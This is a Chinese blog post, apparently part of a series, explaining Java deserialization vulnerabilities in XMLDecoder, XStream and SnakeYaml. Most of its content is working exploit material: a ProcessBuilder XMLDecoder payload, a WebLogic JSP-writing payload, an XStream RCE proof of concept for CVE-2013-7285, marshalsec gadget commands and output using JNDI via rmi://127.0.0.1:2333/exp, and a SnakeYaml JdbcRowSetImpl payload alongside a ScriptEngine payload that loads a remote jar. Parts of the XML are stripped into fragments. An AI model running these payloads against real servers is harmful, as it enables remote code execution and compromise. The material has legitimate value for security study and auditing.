xml java 反序列化,Java 反序列化漏洞始末(5)— XML/YAML

哔哔两句

前面把反序列化漏洞里的一大巨头“JSON”的主要问题给总结了一下,XML 和 YAML 在反序列化漏洞中也能算得上是个很常见的问题。

我例举出几个几个 XML 和 YAML 的反序列化漏洞。XMLDecoder

XStream

SnakeYaml

在我遇到的项目里,这三个依赖库最常见。

其中 XMLDecoder 不同于其他几个,这个更像是反射漏洞,虽然本质上都是可以反序列化回序列化的数据,但 XMLDecoder 和 XStream 可以自由的控制类、方法、参数,SnakeYaml 一类就同 Jackson 和 fastjson 一样,本质上是调用了 get、set 和构造方法。

下面我对这3个类库的漏洞做一个演示和分析

XMLDecoder

在 Weblogic 前几次曝光的漏洞中,就是 XMLDecoder 导致的。XMLDecoder 是 JDK 的一个对象转XML的工具。

我先写上两段简单的demo。

Encodeimport java.beans.XMLEncoder;

import java.io.IOException;

import java.util.ArrayList;

import java.util.HashMap;

/**

* @author 浅蓝

* @email blue@ixsec.org

* @since 2019/4/24 12:09

*/

public class Test {

public static void main(String[] args) throws IOException, InterruptedException {

HashMap map = new HashMap<>();

map.put("123","aaaa");

map.put("321",new ArrayList<>());

XMLEncoder xmlEncoder = new XMLEncoder(System.out);

xmlEncoder.writeObject(map);

xmlEncoder.close();

}

}

73e85d6f4deaf83961ccdde33bd225c7.png

这是一段用 XMLEncoder 生成 hashmap 对象 xml 的代码。

123

aaaa

321

再拿这个生成的xml,用XMLDecoder解析/**

* @author 浅蓝

* @email blue@ixsec.org

* @since 2019/4/24 12:09

*/

public class Test {

public static void main(String[] args) throws IOException, InterruptedException {

String s = "\n" +

" \n" +

" \n" +

" 123\n" +

" aaaa\n" +

" \n" +

" \n" +

" 321\n" +

" \n" +

" \n" +

" \n" +

"";

StringBufferInputStream stringBufferInputStream = new StringBufferInputStream(s);

XMLDecoder xmlDecoder = new XMLDecoder(stringBufferInputStream);

Object o = xmlDecoder.readObject();

System.out.println(o);

}

}

输出的结果是{123=aaaa, 321=[]}

成功把刚才的map对象给反序列化回来了。

自己看一下生成出来的 xml 稍微懂点代码的都能看得出来,标签里指定了类名,方法名,参数等信息。

所以可以完全可以通过修改他们来去执行代码了。

calc

比如这就是一个执行 calc 命令的 payload。

看代码里的 object 标签,class 的值就是要被实例化的全类名

array 标签里就是 ProcessBuilder 对象的构造参数

然后 void 标签指定了 method 参数为 start

这些加起来,相当于执行了new java.lang.ProcessBuilder(new String[]{"calc"}).start();

现在再看 weblogic XMLDecoder 的一些 payload 就很容易看懂了

比如

servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp

转成代码实际上就是java.io.PrintWriter x = new java.io.PrintWriter("servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp");

x.println("blue");

x.close();

XStream

XStream 和 XMLDecoder 差不多,都是 Java 对象和 XML 互转的库,在审计java项目时也经常能见到。

比较出名的几个项目 Bamboo 、 Struts2 、Jenkins 都有用到它,且曝出过漏洞。

XStream 有几个 CVE ,分别是 RCE、XXE、DOS,由于主题是反序列化,所以不过多介绍 XXE 和 DOS。

XXE

影响 1.4.8 及之前版本。com.thoughtworks.xstream.io.xml.DomDriver domDriver = new com.thoughtworks.xstream.io.xml.DomDriver();

String x = "\n" +

"\n" +

"%xxe;]>\n" +

"1";

domDriver.createReader(new StringReader(x));

DOS

影响 1.4.9 及之前版本XStream xstream = new XStream();

xstream.fromXML("");

xstream.fromXML("Hello, world!");

RCE

它的 CVE 编号是 CVE-2013-7285,可以影响到 1.4.10 版本。

最近还有一个新的 CVE 编号 CVE-2019-10173,给出的 payload 和 CVE-2013-7285 没啥区别。

应该是 1.4.10 版本更新的时候加了一个通过 XStream.setupDefaultSecurity 方法 初始化安全框架的功能。

但默认不被调用,依然可以攻击 1.4.10 版本的 XStream。XStream xstream = new XStream();

String x = "\n" +

" \n" +

" java.lang.Comparable\n" +

" \n" +

" \n" +

" \n" +

" calc\n" +

" \n" +

" \n" +

" start\n" +

" \n" +

" \n" +

"";

xstream.fromXML(x);

使用 1.4.10 版本解析这个 POC,就会执行 calc 命令。

其实 java unmarshal 反序列化利用工具“marshalsec” 里就可以生成 XStream 的很多 gadgets。

0f8fb7d43875709ea909168cdfd77ac9.pngCommonsConfiguration, Rome, CommonsBeanutils, ServiceLoader, ImageIO,

BindingEnumeration, LazySearchEnumeration, SpringAbstractBeanFactoryPointcutAdvisor, SpringPartiallyComparableAdvisorHolder, Resin, XBe

an

实现的这些接口都是可以生成的 gadgets。

其中一般项目中比较常见的有 SpringAbstractBeanFactoryPointcutAdvisor、CommonsBeanutils、ImageIO、SpringPartiallyComparableAdvisorHolder

ImageIOjava -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO calc

0

false

0

calc

false

java.lang.ProcessBuilder

start

foo

foo

false

0

0

false

false

0

用 1.4.10 版本的 XStream 解析这段 POC 就会执行 calc 命令,因为POC加载的类有包含“javax.crypto.”包名,被列入了 XStream 的黑名单,所以无法在 > 1.4.10 版本中触发。

CommonsBeanutilsjava -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils rmi://127.0.0.1:2333/exp

2

databaseMetaData

3

1008

true

1000

0

2

0

0

0

true

1004

false

rmi://127.0.0.1:2333/exp

-1

-1

-1

-1

-1

-1

-1

-1

-1

-1

foo

CommonsBeanutils 的这个 gadgets 利用的是 JNDI,并且没有类在黑名单里,所以可以打全版本,用最新的 1.4.11.1 都可以,只要没用 XStream.setupDefaultSecurity。

SpringPartiallyComparableAdvisorHolderjava -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream SpringPartiallyComparableAdvisorHolder rmi://127.0.0.1:2333/exp

false

0

0

0

true

rmi://127.0.0.1:2333/exp

rmi://127.0.0.1:2333/exp

java.lang.Object

toString

SpringPartiallyComparableAdvisorHolder 利用 JNDI 执行代码,需要 spring aop 依赖,可影响到 1.4.11 最新版本。

SpringAbstractBeanFactoryPointcutAdvisorjava -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream SpringAbstractBeanFactoryPointcutAdvisor rmi://127.0.0.1:2333/exp

rmi://127.0.0.1:2333/exp

true

rmi://127.0.0.1:2333/exp

SpringAbstractBeanFactoryPointcutAdvisor 同样是利用 JNDI 执行代码,需要有 spring aop 的依赖,可影响到 1.4.11 最新版本。

SnakeYaml

大多数 java 项目用来处理数据基本上都是 xml 和 json 两种格式,yaml 相对来说少见一点,在我做过的一些代码审计项目里,使用 yaml 处理库最常见的就是 SnakeYaml,虽然还有 jyaml、YAMLBeans 之类的库,但我在真实环境里挺少有见到使用的。

使用方法

先导入 snakeyaml 依赖

org.yaml

snakeyaml

1.17

然后输出序列化一个 javabeanYaml yaml = new Yaml();

Person person = new Person();

person.name="giao";

person.length=18;

String dump = yaml.dump(person);

System.out.println(dump);

输出结果为 !!simple.Person {length: 18, name: giao}

!!后面跟全类名,{}里是属性名和属性值,中间使用逗号分隔。

其实跟 jackson 和 fastjson 没啥区别。

特点在于它没有黑名单,不能设置私有属性,不能使用构造方法触发的 gadgets。

所以在 jackson、fastjson 这些 unmarshal 一类的 gadgets 大部分都可以拿来就用。

比如最常见的JdbcRowSetImpl。!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:2333/exp', autoCommit: true}

注意在构造 payload 的时候,该留空格的地方要留空格,snakeyaml 对格式校验比较严格,不然会报错。

495642e74c01b2f036dcb9e1e62314c2.png

反序列化利用工具 marshalsec 也提供了 snakeyaml 的一些 gadgets。[SpringPropertyPathFactory, SpringAbstractBeanFactoryPointcutAdvisor, XBean, CommonsConfiguration, C3P0WrapperConnPool, C3P0RefDataSource, JdbcRowSet, ScriptEngine, ResourceGadget]

大多数都是利用 JNDI 执行代码的,jdk 的有一个 ScriptEngine ,利用的是远程加载 jar 包。java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.SnakeYAML ScriptEngine http://127.0.0.1:2333/!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2333/"]]]]

49919f3e36e847f4e494b8bc27f1bfdc.png

总结

没得总结,懒得写了,就这样吧!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值